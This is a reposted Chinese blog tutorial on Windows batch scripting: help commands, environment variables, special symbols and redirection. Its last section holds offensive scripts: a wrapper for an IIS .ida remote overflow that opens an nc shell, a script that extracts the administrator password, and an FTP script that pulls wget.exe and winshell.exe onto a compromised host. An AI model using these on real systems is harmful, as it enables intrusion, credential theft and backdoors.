批处理BAT加强说明-

BAT035.工作常用批处理下载及功能说明(专栏阶段性小结) 摘要:本文主要对专栏中批处理功能进行说明并附练习数据的下载地址。包括工作常用的文件批处理操作、文件夹批处理操作、图片处理、电脑信息查看、表格处理、字符替换等操作,能大量的减少工作中的重复流程,节约读者在重复工作中消耗的时间,后期将不定时更新。 阅读详情

批处理BAT加强说明

黑客安全网 http://www.hacker81.net

希望大家想了解BAT批处理的好好看看有所加强,看到刚才发表的文章我也认为BAT的重要性。这点大家都知道所以转了一章好东东大家共同提高。也希望大家有好东东好思想大家来了解加强。 批处理BAT技巧

文章结构
1.
所有内置命令的帮助信息
2.
环境变量的概念
3.
内置的特殊符号(实际使用中间注意避开)
4.
简单批处理文件概念
5.
附件1 tmp.txt
6.
附件2 sample.bat

##########################################
1.
所有内置命令的帮助信息
##########################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2.
环境变量的概念
######################################################################
_____________________________________________________________________________
C:/Program Files>set
ALLUSERSPROFILE=C:/document
. and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=FIRST
ComSpec=C:/WINNT/system32/cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:/WINNT/system32/os2/dll;
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:/Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:/WINNT
TEMP=C:/WINNT/TEMP
TMP=C:/WINNT/TEMP
USERPROFILE=C:/document
. and Settings/Default User
windir=C:/WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%/system32/.
这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%/system32/.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir%
变量
%%windir%%
二次变量引用.
我们常用的还有
%temp%
临时文件目录
%windir%
系统目录
%errorlevel%
退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:/>dir p*
C:/
的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1
个文件 2,164 字节
1
个目录 1,505,997,824 可用字节

C:/>cd pro*
C:/Program Files>

C:/>
C:/>cd "Program Files"
C:/Program Files>

######################################################################
3.
内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / / │ ││ && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(
大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. find " Pacific Rim " < trade.txt > nwtrade.txt
IF EXIST filename. (
del filename.) ELSE echo filename. missing

> 创建一个文件
>>
追加到一个文件后面
@
前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^
对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
()
包含命令
(echo aa & echo bb)
,
和空格一样的缺省分隔符号.
;
注释,表示后面为注释
:
标号作用
│
管道操作
& Usage
:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:/*.exe & dir d:/*.exe & dir e:/*.exe
&& Usage
:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
││ Usage
:第一条命令 ││ 第二条命令 [││ 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

 

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c -
指一个行注释字符的结尾(就一个)
skip=n -
指在文件开始时忽略的行数。
delims=xxx -
指分隔符集。这个替换了空格和跳格键的默认分隔符集。

 

######################################################################
4.
简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n │ find "3389"
这个将要列出所有连接3389的用户的ip. ________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem
不显示注释语句,本行显示
@rem
不显示注释语句,本行不显示
@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_______________________
@rem ver 1.0
@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%/_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

 

:SP2
@idahack.exe %1 80 %2 99 %temp%/_tmp
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息. ___________________________fpass.bat____________________________________________

@rem ver 1.0
@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%/_findpass.txt
@echo ________________________________Here__pass
★★★★★★★★
@ipconfig /all >>%temp%/_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%/_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

LK32T102 单片机 操作GPIO实现流水灯(1) 前言: LK32T10232(32位)单片机是一款专为电机控制器和数字电源开发的高性能 MCU。采Cortex-M0 内核,最高工作频率可达 72Mhz,ADC 采样速率 达 1Msps。同时具备协处理器单元可满足各种乘法、除法、移位以及各种 复杂函数运算。 LK32T102(32位)支持单电源供电,且内嵌高精度高速及低速振荡器,以及具备 多种低功耗工作模式。同时,集成了多路增强型 PWM,多通道模拟比较 器和高速运算放大器,可满足多种电机及功率控制应用,并简化系统成本。... 阅读详情

相关推荐

HC32F460的GPIO重映射实战:如何用3步搞定SPI引脚冲突问题

本文详细介绍了HC32F460的GPIO重映射功能,通过三步操作解决SPI引脚冲突问题。文章解析了HC32F460的FuncGroup功能分组机制,提供了具体的寄存器配置步骤和验证技巧,并对比了与传统方案的性能优势,帮助工程师灵活配置引脚,优化硬件设计。

t4y5u6i7o的博客 918

环境变量Path是啥,pathext又是啥,安装cuda遇到的坑

环境变量Path是啥,pathext又是啥为啥我要研究环境变量什么是Pathext什么是Path 为啥我要研究环境变量 在安装一些东西,比如最基础的jdk就要配置环境变量 当时就是让干啥干啥,实际上根本不明白,于是这次安装cuda的时候就给自己绊了个大跟头,本来安装实际上是人家安装程序给自己配好的环境变量的,然后你在cmd上输入nvcc -V (**注意必须是大写的V**)就会出现如下图的显示就表示成功了 安装成功的图: 我个遇bug小能手当然没能成功,我遇到的是 遇bug小能手遇到的图: 其实当时在

一季南凉的博客 3194

(project generation have a problem)STM32CubeMX生成工程一直报错项目生成有问题[玄学三步解]

解决办法 第一步,检查自己是不是真的配置的不对,JAVA安装没,pack路径设置的对不对,这里有一位前辈的博文写的非常好,附加链接https://blog.youkuaiyun.com/ybhuangfugui/article/details/52225736#commentBox 第二步,如果按照前辈的博文设置的都一模一样,还是不对,想我下图这样。 那你来对地方了 方法很简单,你把你生成工程文件的路径彻底的...

展桑博客-BenjieBlog 2922

(转)PATHEXT环境变量简介

PATHEXT环境变量简介 最近在机子上装了一些软件之后,机子出了点问题,所有的exe工具文件(甚至包括一些cmd下的命令),都无法直接打开执行了,必须要输全整个文件名,例如sqlplus.exe。在问了一圈同事之后(不包括我们的系统管理员),居然还是没有一个准确的答案。最后询问了系统管理员之后,发现只是因为简单的环境变量设置问题,真是感叹大家对操作系统的白痴了-_-||| 在网上找了点资料看

Iclam的专栏 8336

Redhawk解析PAD / IOPAD的实现方法

Redhawk解析IOPAD的实现方法1. IOPAD DEF的概念说明2. 生成 IOPAD GDS文件3. 生成 IOPAD DEF文件4. Redhawk解析过程中读取IOPAD DEF 本文主要简述【Redhawk解析IOPAD】的实现原理方法,具体脚本没有放在这里。 1. IOPAD DEF的概念说明 2. 生成 IOPAD GDS文件 注: getinfo2IODEF.tcl 是基于innovus获取IOPAD的摆放信息以及库信息。 run_cerate_iopadgds.csh 是基于c

kobayashiyou的博客 3154

使用CAPL实现DoIP刷写

本文介绍了使用CAPL实现基于DoIP协议的ECU刷写方法,包含完整源码。

qq_56033302的博客 2758

由于PATHEXT环境变量导致的软件无法打开执行

最近突然发现我安装python软件之后,机子出现了一些问题,软件无法打开执行。我很疑惑,我一开始想到是不是我安装包放到电脑的环境变量位置不对,导致电脑没有找到我的安装文件,检查再三不是这个问题。然后考虑是不是之前安装的步骤不对 ,开始卸载之前的软件重新安装也是不对。这样来折腾了很久。我也问了身边的朋友他们都说你的环境变量的问题。但是地址是对的呀。到底是哪里出错误了呢。第二天请教了一个老师。老师远程连接我的电脑,一顿神操作之后。发现是这个“小家伙”再捣鬼。 在网上找了一些资料看了一下,简单介绍PATH.

m0_58085647的博客 1336

ADS高级技巧:用DAC控件实现多变量参数扫描(以S参数和阻抗匹配为例)

本文深入解析了ADS软件中DAC控件的高级应用,指导用户如何利用其实现多变量参数扫描。通过构建支持多变量的MDF文件,并将其与原理图变量动态映射,可以高效完成如S参数和阻抗匹配等复杂场景的联合仿真与可视化分析,显著提升射频电路设计的效率和深度。

3a9bq4r8t2y的博客 253

这个脚本有问题,求会linux脚本的朋友帮修改一下哈:

这个脚本是linux上面做一个文件系统的,我在UML官网下的,有问题如下: [root@zhoutianzuo azuo]# bash install_fs.sh Filesystem already created Filesystem already mounted going to fetch Usage: grep [OPTION]... PATTERN [FILE]... Try `...

dowhathowtodo 305

c++多线程(1)------创建和管理线程td::thread

std::thread 是 C++11 标准库中用于创建和管理线程的核心类,定义在 <thread> 头文件中。它使得多线程编程变得简单、类型安全且跨平台。

jndingxin的专栏 647

【目标检测】基于yolov5的铝型材表面缺陷检测(附代码和数据集,Ubuntu或者Linux系统均可运行)

【目标检测】基于yolov5的铝型材表面缺陷检测(附代码和数据集,Ubuntu或者Linux系统均可运行)

学无止境、积少成多、厚积薄发 2170

批处理BAT加强说明

文章结构 1. 所有内置命令的帮助信息 2. 环境变量的概念 3. 内置的特殊符号(实际使用中间注意避开) 4. 简单批处理文件概念 5. 附件1 tmp.txt 6. 附件2 sample.bat ########################1. 所有内置命令的帮助信息 ########################ver cmd /? set /? rem /? if /? echo

hncqp的专栏 676

制作INCA和CANape通用的A2L

CANape和INCA通用的A2L配置与修改

赞的博客 5960

windows bat批处理脚本 字符串截取、拼接、查找等使用说明

BAT批处理有着具有非常强大的字符串处理能力,其功能虽没有C、Python等高级编程语言丰富,但是常见的字符串截取、替换、连接、查找等功能也是应有尽有,本文逐一详细讲解。

chuangxin的专栏 5万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

bat批处理脚本 函数使用说明 函数调用结果如何返回

BAT批处理脚本也可以使用函数,函数可以带参数,并且返回结果。但是批处理脚本的函数调用返回结果处理却不是很友好,处理起来相对麻烦。本文详细讲解函数定义、函数调用及调用结果如何返回。

chuangxin的专栏 8860

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

pngquant 批处理bat及参数说明

1、以下批处理代码复制保存到xxx.bat文件中,然后和pngquant.exe放到同一个目录下就可以使用。 set b=%cd% cd %cd% pngquant *.png --ext=.png --force --skip-if-larger --strip --nofs echo "压缩完毕" pause 2、第二个需要说明的问题是,这个--strip参数,用来移除掉图像之外的其他各种信息。 我发现公司美工用photoshop的“另存为”保存的png图片,经常会携带大量的非图片的信息,用

l8487的专栏 1102

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Windows系统中使用bat批处理文件启动Springboot项目jar说明,让部署跟简便

文章目录前言一、准备项目程序及配置文件二、编写启动bat文件三、执行批处理 前言 在项目开发和部署中,根据业务需要,我的项目程序不一定都是运行在Linux系统环境中,也有运行在Window Server中的,那么我们样才能更加便捷的部署和更新程序呢。下面介绍一种通过编写bat批处理文件方式,启动Springboot项目的方法供大家参考。 一、准备项目程序及配置文件 以code-generator-plus项目为例,打包好的jar包和config文件拷贝到部署目录,如下图所示 二、编写启动bat文件

码觉客的博客 1万+

bat 注释_dos命令rem图文教程,代码语句注解注释说明方法,bat批处理脚本

大家好,我是老盖,首先感谢观看本文,本篇文章做的有视频,视频讲述的比较详细,也可以看我发布的视频。今天我们学习dos命令中的rem,它这个命令就是注释的意思,经常用于批处理脚本中,注释有多种的方式,我这里举三个比较常用的方式。我们先看一下rem这个命令,这个命令是rem后边加上需要注释的文字就可以了,它在CMD这个窗口中是没有实际意义的,经常用于批处理中。我这里准备了一个批处理的文件,默...

weixin_39880337的博客 205

DOS循环:bat/批处理for命令详解之一 (史上虽详尽的总结和说明~~)

DOS循环:bat/批处理for命令详解之一 (史上虽详尽的总结和说明~~)    ---    ---      前言:      虽然以前对批处理也算有点研究,但一直对for命令理解不够透彻,偶尔用时也是照猫画虎的用一下。      虽然这是古董级的东西,但挺有意思的,而且有时用处也是蛮大的,所以,这次下决心研究一下,通过两个晚上的学习和测试,算是理解了90%了,很有成就感。      

mezheng的专栏 1554

利用批处理文件bat自动删除和压缩文件

用批处理文件来管控服务日志,定时删除和压缩,以防它占的磁盘空间过大。 1、写bat文件,相关代码如下: ::服务日志处理流程:1、删除n天以前的日志 2、压缩今天之前的日志 ::服务日志所在目录:D:\services\Log ::1、删除服务30天前的日志 Forfiles /p D:\services\Log /s /d -30 /m *.* /c "cmd /c del /q /f @path" ::2、压缩今天之前的日志,并删除源文件(只压缩文件类型为.log的文件) set Path=;"

Welcome 4196

Bat批处理教程 字符串操作

Bat批处理脚本中字符串操作比较常用,包括字符串截取、字符串替换、字符串合并、字符串查找、字符串扩充等,下面来看看如何编写Bat批处理脚本中的字符串操作代码。

知识分享,学习记录,技术人生,,经验心得交流,IT晋升之路,一起成长,一起进步。 2109

bat代码雨代码流星_dos命令rem图文教程,代码语句注解注释说明方法,bat批处理脚本...

大家好,我是老盖,首先感谢观看本文,本篇文章做的有视频,视频讲述的比较详细,也可以看我发布的视频。今天我们学习dos命令中的rem,它这个命令就是注释的意思,经常用于批处理脚本中,注释有多种的方式,我这里举三个比较常用的方式。我们先看一下rem这个命令,这个命令是rem后边加上需要注释的文字就可以了,它在CMD这个窗口中是没有实际意义的,经常用于批处理中。我这里准备了一个批处理的文件,默认是没有注...

weixin_39714763的博客 2462

在小榕的论坛看的一篇关于DOS批处理命令的文章

批处理BAT加强说明 文章结构 1. 所有内置命令的帮助信息 2. 环境变量的概念 3. 内置的特殊符号(实际使用中间注意避开) 4. 简单批处理文件概念 5. 附件1 tmp.txt 6. 附件2 sample.bat ###################################################################### 1. 所有内置命令的帮助信息 ###...

huozheleisi 97

Bat文件转换为Exe文件工具

Bat文件转换为Exe文件工具 【下载地址】Bat文件转换为Exe文件工具 这个开源项目提供了一种简单高效的方式,将bat批处理文件转换为exe格式。由于bat文件容易被杀毒软件误判为恶意程序,转换为exe后可以避免误删,提升文件的安全性。转换后的exe文件只需解压并以管理员权限运行即可正常使用。该项目操作便捷,适合需要...

gitblog_06774的博客 421
上一篇: 批处理内部命令简介 (2)-
下一篇: 如何在批处理文件中使用参数
dancewing
博客等级 码龄23年 0粉丝 27原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值